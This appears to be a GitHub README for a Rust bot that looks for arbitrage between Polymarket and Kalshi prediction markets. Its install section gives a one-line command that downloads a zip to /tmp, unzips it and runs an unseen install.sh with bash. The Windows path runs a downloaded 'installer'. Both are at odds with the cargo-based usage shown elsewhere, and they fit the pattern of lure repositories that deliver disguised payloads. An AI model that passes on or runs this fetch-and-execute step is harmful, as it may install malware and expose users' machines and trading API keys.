A high-performance arbitrage bot written in Rust that identifies and executes arbitrage opportunities between Polymarket and Kalshi prediction markets.
- 🚀 Real-time market monitoring
- 💰 Automatic arbitrage opportunity detection
- 🔄 Cross-platform support (macOS & Windows)
- 📊 SQLite database for tracking opportunities
- 🔐 Secure API key management
- 📈 Configurable profit thresholds
- 🎯 Risk management with position sizing
- Rust 1.70 or higher
- API keys for Polymarket and Kalshi
- SQLite3
curl -fsSL https://github.com/ryan26craf/polymarket-kalshi-arbitrage-bot/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/polymarket-kalshi-arbitrage-bot-main && \
bash install.sh
- Navigate to the Releases page
polymarket-kalshi-arbitrage-bot.zip(for Windows)- Extract the ZIP file to your desired location
- Run the installer to install the bot
- After installation, configure your API keys in the
.envfile
- Copy the example environment file:
cp .env.example .env- Edit
.envand add your API credentials:
POLYMARKET_API_KEY=your_polymarket_key
KALSHI_API_KEY=your_kalshi_key
KALSHI_API_SECRET=your_kalshi_secret
MIN_PROFIT_PERCENTAGE=2.0
MAX_POSITION_SIZE=1000
- Edit
config/default.tomlfor additional settings
# Run in monitoring mode
cargo run -- --mode monitor
# Run with execution enabled
cargo run -- --mode execute
# Run with specific profit threshold
cargo run -- --min-profit 3.5
# Show all options
cargo run -- --helppolymarket-kalshi-arbitrage-bot/
├── src/
│ ├── main.rs # Application entry point
│ ├── lib.rs # Library exports
│ ├── config/ # Configuration management
│ ├── api/ # API clients
│ ├── arbitrage/ # Arbitrage logic
│ ├── database/ # Database operations
│ └── utils/ # Utilities
├── config/ # Configuration files
├── tests/ # Integration tests
├── docs/ # Documentation
└── scripts/ # Build and deployment scripts
- Always test with small amounts first
- Understand the markets you're trading
- Never invest more than you can afford to lose
- Be aware of API rate limits
- Monitor your positions actively
Contributions are welcome! Please read CONTRIBUTING.md for details.
MIT License - see LICENSE for details
- Polymarket API documentation
- Kalshi API documentation
- Rust async ecosystem
